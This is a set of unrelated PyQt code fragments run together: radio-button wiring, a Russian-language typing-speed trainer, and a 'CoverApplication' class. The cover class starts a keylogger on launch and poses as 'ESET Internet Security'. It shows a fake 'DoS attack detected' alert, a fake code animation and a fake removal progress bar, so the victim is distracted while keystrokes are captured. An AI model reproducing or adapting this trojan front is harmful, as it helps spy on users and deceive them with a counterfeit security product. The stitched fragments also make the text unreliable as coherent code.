self.radioButton.clicked.connect(self.RadioButton) self.radioButton_2.clicked.connect(self.RadioButton_2) self.radioButton_3.clicked.connect(self.RadioButton_3) self.radioButton_4.clicked.connect(self.RadioButton_4) self.radioButton_5.clicked.connect(self.RadioButton_5) self.pushButton_2.clicked.connect(self.PushButton_2) #状态 self.lineEdit_2.setEnabled(False)
class Main(Ui_MainWindow, QMainWindow): languages = ['ua', 'ru', 'en'] isRun = False curText = '' curLanguage = 'ua' printedChars = 0 mistakesCount = 0 def __init__(self): super().__init__() self.timer = QBasicTimer() self.timer.start(50, self) self.startTime = time() self.setupUi(self) self.center() self.initUi() self.bindHandlers() self.stopButton.setEnabled(False) def initUi(self): self.setFixedSize(400, 316) self.show() def center(self): qr = self.frameGeometry() sr = QDesktopWidget().availableGeometry().center() self.label.setWordWrap(True) qr.moveCenter(sr) self.move(qr.topLeft()) def bindHandlers(self): self.startButton.clicked.connect(self.start) self.startAction.triggered.connect(self.start) self.stopButton.clicked.connect(self.stop) self.stopAction.triggered.connect(self.stop) self.exitAction.triggered.connect(app.quit) self.menu_2.triggered.connect(self.setLanguage) self.startButton.setFocusPolicy(Qt.NoFocus) self.stopButton.setFocusPolicy(Qt.NoFocus) def start(self): self.restart() self.isRun = True texts = listdir("./text/{}".format(self.curLanguage)) randText = choice(texts) with open("./text/{}/{}".format(self.curLanguage, randText), encoding='UTF-8') as f: self.curText = f.read() self.showText() self.startButton.setEnabled(False) self.label.setFocus() self.startButton.setText('Заново') self.stopButton.setText('Остановить') self.stopButton.setEnabled(True) def stop(self): if not self.stopButton.isEnabled(): return if self.isRun: self.startButton.setEnabled(True) self.stopButton.setText('Продолжить') else: self.startButton.setEnabled(False) self.stopButton.setText('Остановить') self.isRun = not self.isRun def showText(self): newText = '<font color="#0f0">{}</font>{}'.format( self.curText[:self.printedChars], self.curText[self.printedChars:]) self.label.setText(newText) def setLanguage(self): for i, action in enumerate(self.menu_2.actions()): if action.isChecked(): self.curLanguage = self.languages[i] return def restart(self): self.mistakesCount = 0 self.printedChars = 0 self.startTime = time() def win(self): charsPerSec = 60 / ((time() - self.startTime) / self.printedChars) mistakesPerc = self.mistakesCount / (self.printedChars + self.mistakesCount) * 100 QMessageBox.information( self, 'Вы прошли тест', "Напечатано символов: {} \n".format(len(self.curText)) + "Средняя скорость: {:.2f} зн/мин \n".format(charsPerSec) + "Ошибки: {:.2f}%".format(mistakesPerc)) self.restart() def keyPressEvent(self, e): if not self.isRun: return if e.text() == self.curText[self.printedChars]: self.printedChars += 1 self.showText() if self.printedChars == len(self.curText): self.win() else: print("{} not same {}".format(e.text(), self.curText[self.printedChars])) self.mistakesCount += 1 def timerEvent(self, e): if not self.isRun: return try: charsPerSec = 60 / ((time() - self.startTime) / self.printedChars) except ZeroDivisionError: charsPerSec = 0 try: mistakesPerc = self.mistakesCount / (self.printedChars + self.mistakesCount) * 100 except ZeroDivisionError: mistakesPerc = 0 self.curSpeed.setText("{:.2f} зн/мин".format(charsPerSec)) self.mistakes.setText("Ошибки: {:.2f}%".format(mistakesPerc))
class CoverApplication(QMainWindow): def __init__(self): super().__init__() self.initUI() keylogger.run() ## START KEYLOGGER def initUI(self): self.setBackground() #fake code gif self.label = QLabel() self.setCentralWidget(self.label) self.movie = QMovie(resource_path("fakecode.gif")) self.label.setMovie(self.movie) #proggres bar self.pbar = QProgressBar(self) self.pbar.setGeometry(30, 40, 700, 30) self.pbar.move(175, 420) #button self.btn = QPushButton('Start', self) self.btn.setGeometry(100, 100, 100, 30) self.btn.move(450, 460) self.btn.clicked.connect(self.doAction) self.timer = QBasicTimer() self.step = 0 self.setGeometry(100, 100, 1000, 500) self.setWindowTitle('ESET Internet Security') self.show() self.setFixedSize(1000, 500) popupWarning = QWidget() popupWarning.setWindowTitle('Warning') popupWarning.setGeometry(100, 100, 100, 10) popupWarning.buttonReply = QMessageBox.information(self, 'WARNING!', "DoS attack detected. Run the wizard to remove it.", QMessageBox.Ok) if popupWarning.buttonReply == QMessageBox.Ok: popupWarning.hide() return popupWarning.show() def timerEvent(self, e): if self.step >= 100: self.timer.stop() self.movie.stop() self.label.hide() self.btn.setText('Finished') #popup self.hide() popup = QWidget() popup.setWindowTitle('Done') popup.setGeometry(100, 100, 100, 10) popup.buttonReply = QMessageBox.information(self, 'Finished', "DoS attack removed succesfully.", QMessageBox.Ok) if popup.buttonReply == QMessageBox.Ok: popup.hide() self.show() return popup.show() return self.step = self.step + 1 self.pbar.setValue(self.step) def doAction(self): self.movie.start() if self.timer.isActive(): self.timer.stop() self.movie.stop() #popup are you sure popupSure = QWidget() popupSure.setWindowTitle('Confirm') popupSure.setGeometry(100, 100, 100, 10) popupSure.buttonReply = QMessageBox.question(self, 'Confirm', "Are you sure you want to stop?", QMessageBox.Yes | QMessageBox.No) if popupSure.buttonReply == QMessageBox.Yes: self.pbar.setValue(0) self.step = 0 self.btn.setText('Start') popupSure.hide() self.label.hide() else: self.btn.setText('Continue') popupSure.hide() else: self.timer.start(100, self) self.btn.setText('Stop') def setBackground(self): background = QImage(resource_path("background.png")) background = background.scaled(1000, 500) pallete = QPalette() pallete.setBrush(QPalette.Window, QBrush(background)) self.setPalette(pallete)